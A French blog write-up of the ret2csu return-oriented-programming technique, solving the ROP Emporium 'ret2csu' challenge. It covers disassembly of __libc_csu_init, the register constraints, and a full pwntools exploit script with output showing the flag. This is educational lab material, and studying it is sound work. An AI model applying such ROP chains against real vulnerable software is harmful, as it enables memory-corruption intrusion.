Comment contrôler RDX sans gadget "pop rdx"...
C'est ce que nous allons montrer dans ce nouvel article qui sera notre premier article d'exploitation (plus communément appelé pwn).
Ret2csu ? keskecé ?
Hier, lors d'un challenge d'exploitation, je me suis retrouvé bloqué dans le développement de ma ropchain. En effet, je m'étais dans l'incapacité de contrôler le registre RDX. Vous n'êtes pas sans savoir que ce registre est utilisé pour les arguments de certaines fonctions, notamment envp pour execve ... Il faudra donc, bien souvent, se débrouiller pour le contrôler.
Aujourd'hui nous allons parler de gadget universel. La suite d'instructions que nous allons utiliser est présente dans tout les binaires ELF x64, ce gadget peut donc s'avérer très utile pour les exploitations de type BROP (Blind Return Oriented Programing). Il permettra notamment de contrôler la valeur de plusieurs registres dont notre fameux RDX.
Je vous propose donc aujourd'hui de s'intéresser à cette technique qu'est le ret2csu par le biais d'un exemple (c'est mieux que les longs discours)
Exemple disponible ici : https://ropemporium.com/challenge/ret2csu.htmlLe binaire
"The challenge is simple: call the ret2win() function, the caveat this time is that the third argument (which you know by now is stored in the rdx register on x86_64 Linux) must be 0xdeadcafebabebeef."
Le challenge est simple, appeler la fonction ret2win(), la contrainte cette fois est que le troisième argument (qui est dans RDX en 0x86_64) doit être égal a 0xdeadcafebabebeef
Très bien, le challenge est très basique, il suffit de faire une ropchain classique, avec un pop rdx et de retourner vers ret2win() ! Easy :)
Sauf que .....
root@ubuntu:/home/lab# ROPgadget --binary ret2csu | grep "rdx"
0x0000000000400567 : lea ecx, [rdx] ; and byte ptr [rax], al ; test rax, rax ; je 0x40057b ; call rax
0x000000000040056d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
Et oui ... Pas de gadget permettant de controler RDX afin de lui attribuer sa valeur. :(
C'est maintenant que nous rentrons dans le vif du sujet !
Ret2csu : Théorie
Pour résumer, l'idée de cette technique est d'utiliser la fonction suivante __libc_csu_init
, cette fonction contient le gadget qui nous permettra de modifier notre paramètre selon notre grès. Cependant nous allons devoir nous soumettre à quelques contraintes...
Regardons cette fonction de plus près :
0000000000400840 <__libc_csu_init>:
400840: 41 57 push r15
400842: 41 56 push r14
400844: 49 89 d7 mov r15,rdx
400847: 41 55 push r13
400849: 41 54 push r12
40084b: 4c 8d 25 be 05 20 00 lea r12,[rip+0x2005be] # 600e10 <__frame_dummy_init_array_entry>
400852: 55 push rbp
400853: 48 8d 2d be 05 20 00 lea rbp,[rip+0x2005be] # 600e18 <__init_array_end>
40085a: 53 push rbx
40085b: 41 89 fd mov r13d,edi
40085e: 49 89 f6 mov r14,rsi
400861: 4c 29 e5 sub rbp,r12
400864: 48 83 ec 08 sub rsp,0x8
400868: 48 c1 fd 03 sar rbp,0x3
40086c: e8 ef fc ff ff call 400560 <_init>
400871: 48 85 ed test rbp,rbp
400874: 74 20 je 400896 <__libc_csu_init+0x56>
400876: 31 db xor ebx,ebx
400878: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
40087f: 00
400880: 4c 89 fa mov rdx,r15
400883: 4c 89 f6 mov rsi,r14
400886: 44 89 ef mov edi,r13d
400889: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40088d: 48 83 c3 01 add rbx,0x1
400891: 48 39 dd cmp rbp,rbx
400894: 75 ea jne 400880 <__libc_csu_init+0x40>
400896: 48 83 c4 08 add rsp,0x8
40089a: 5b pop rbx
40089b: 5d pop rbp
40089c: 41 5c pop r12
40089e: 41 5d pop r13
4008a0: 41 5e pop r14
4008a2: 41 5f pop r15
4008a4: c3 ret
4008a5: 90 nop
4008a6: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
4008ad: 00 00 00
Dans cette fonction, deux gadgets nous intéressent, le premier va utiliser pop pour attribuer des valeurs à certains registres :
40089a: 5b pop rbx
40089b: 5d pop rbp
40089c: 41 5c pop r12
40089e: 41 5d pop r13
4008a0: 41 5e pop r14
4008a2: 41 5f pop r15
4008a4: c3 ret
Le second va mettre les valeurs dans les registres désirés (RDX pour nous :D)
400880: 4c 89 fa mov rdx,r15
400883: 4c 89 f6 mov rsi,r14
400886: 44 89 ef mov edi,r13d
400889: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40088d: 48 83 c3 01 add rbx,0x1
400891: 48 39 dd cmp rbp,rbx
400894: 75 ea jne 400880 <__libc_csu_init+0x40>
400896: 48 83 c4 08 add rsp,0x8
Notre stratégie est donc simple : si nous mettons notre valeur dans r15 via le premier gadget, elle se retrouvera dans rdx lors du second gadget !
Comme vous pouvez le constater, le second gadget ne se termine pas par un ret, c'est maintenant que les restrictions entrent en vigueur, il faudra passer le call et le cmp sans affecter le bon déroulement de notre ropchain.
Le premier problème que l'on rencontre est ce call sur [r12+rbx*8]. Nous contrôlons la valeurs de rbx, nous pouvons donc la mettre à 0, il faudra donc call quelque chose qui ne perturbera en rien notre exploit : .fini par exemple :)
Comme il s'agit d'uncall [r12]
et non d'un call r12
, nous utiliserons le pointeur de .fini dans .dynamics
Ensuite, il nous faudra passer le cmp rbp, rbx
pour ce faire il nous suffit de mettre rbp à 0x1 et rbx à 0x0 ...
Et pour finir du fait de cette ligne :
400896: 48 83 c4 08 add rsp,0x8
Il faudra ajouter 8 bytes de bourrage.
Pour résumer notre exploit :
- Saut sur le premier gadget
- Contrainte RBX = 0x0
- Contrainte RBP = 0x1
- Contrainte R12 = pointeur de .fini
- Mettre la valeur désirée de RDX dans R15
- 2 éme gadget
- Saut vers ret2win
- FLAG ! :)
Ret2csu : Pratique
J'ai utilisé pwntools pour la création de l'exploit, voici mon code :
from pwn import *
ret2win = 0x4007b1
premier_gadget = 0x40089a
second_gadget = 0x400880
pointer_vers_init = 0x600e38
ropchain = "a"*40
ropchain += p64(premier_gadget)
ropchain += p64(0x00) #pop rbx
ropchain += p64(0x01) #pop rbp
ropchain += p64(pointer_vers_init) #pop12 (futur call)
ropchain += p64(0x00) #pop r13
ropchain += p64(0x00) #pop r14
ropchain += p64(0xdeadcafebabebeef) #r15 futur rdx
ropchain += p64(second_gadget) #ret vers second gadget
ropchain += p64(0x00) #stack padding
ropchain += p64(0x00) #rbx
ropchain += p64(0x00) #rbp
ropchain += p64(0x00) #r12
ropchain += p64(0x00) #r13
ropchain += p64(0x00) #r14
ropchain += p64(0x00) #r15
ropchain += p64(ret2win) #call de la fonction win avec bon argument
p = process("./ret2csu")
p.recvuntil("> ")
p.sendline(ropchain)
print p.recv(1024)
Je l'ai commenté, vous ne devriez pas avoir de problème à le comprendre !
Output du script :
lab@ubuntu:~$ python ret2csu.py
[+] Starting local process './ret2csu': pid 62109
ROPE{a_placeholder_32byte_flag!}
[*] Stopped process './ret2csu' (pid 62109)
J’espère sincèrement que vous avez apprécié lire ce premier article de pwn autant que j'ai aimé l'écrire.
Happy Hacking
54 Coeur(s)